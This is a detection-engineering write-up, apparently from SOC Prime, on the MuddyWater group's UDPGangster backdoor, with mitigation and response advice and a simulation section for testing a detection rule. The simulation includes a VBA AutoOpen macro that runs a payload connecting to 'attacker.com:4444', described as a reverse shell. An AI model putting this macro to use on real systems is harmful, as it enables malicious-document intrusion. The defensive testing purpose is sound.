SOC Prime Bias: Critical

08 Dec 2025 16:27

UDPGangster Attacks Spread Across Multiple Countries

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
UDPGangster Attacks Spread Across Multiple Countries
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

UDPGangster is a UDP-based backdoor leveraged by the MuddyWater threat group to remotely control Windows hosts. Initial compromise occurs via a malicious Word document that uses VBA macros to drop and launch the payload. The malware performs extensive anti-analysis checks and maintains persistence by copying itself into the user’s AppData directory and creating a Run key. Recent campaigns have been observed targeting users in Turkey, Israel, and Azerbaijan.

Investigation

FortiGuard Labs examined the phishing emails, the embedded VBA macro, the dropped executable, and its persistence techniques. They extracted indicators such as file paths, registry Run entries, mutex names, and associated C2 infrastructure. Correlating IP addresses, domains, and PDB paths allowed analysts to tie this activity back to earlier MuddyWater operations.

Mitigation

Mitigation steps include enforcing macro blocking or robust user training to prevent macro execution, and deploying endpoint defenses that watch for suspicious file writes into public or user profile folders, as well as modifications to Run registry keys. Network teams should monitor for anomalous UDP traffic on port 1269 and block known malicious IP addresses and domains to disrupt C2 channels.

Response

When UDPGangster activity is detected, isolate the impacted endpoint, collect volatile memory and full disk images, and hunt for the backdoor binary and related artifacts. Block the identified C2 infrastructure, perform thorough forensic analysis to uncover any additional compromised systems, and update security signatures to detect both the malicious macro documents and the backdoor payload.

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An attacker delivers a malicious Word document containing a VBA macro. The macro calls the Windows API CreateProcessA to spawn cmd.exe and execute the UDPGangster payload (udp_gangster.exe). The payload establishes a reverse shell to the attacker’s C2 server. Because the macro explicitly passes the string “CreateProcessA” and the literal cmd.exe in the command line, the detection rule will match.

    1. VBA Macro (simplified) – demonstrates the API call:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%\udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Deploy the macro, open the document, and let the macro execute. The resulting process creation event will contain:

      CommandLine: cmd.exe /c "%TEMP%\udp_gangster.exe -c attacker.com:4444"
  • Regression Test Script: The following PowerShell script reproduces the exact telemetry without requiring a Word document. It calls the native Win32 API CreateProcessA via Add-Type.

    # Regression test: direct CreateProcessA call with cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMP\udp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Cleanup Commands: Remove the artefact created during the simulation.

    # Remove the temporary log file generated by the simulation
    Remove-Item -Path "$env:TEMP\udp_gangster.log" -ErrorAction SilentlyContinue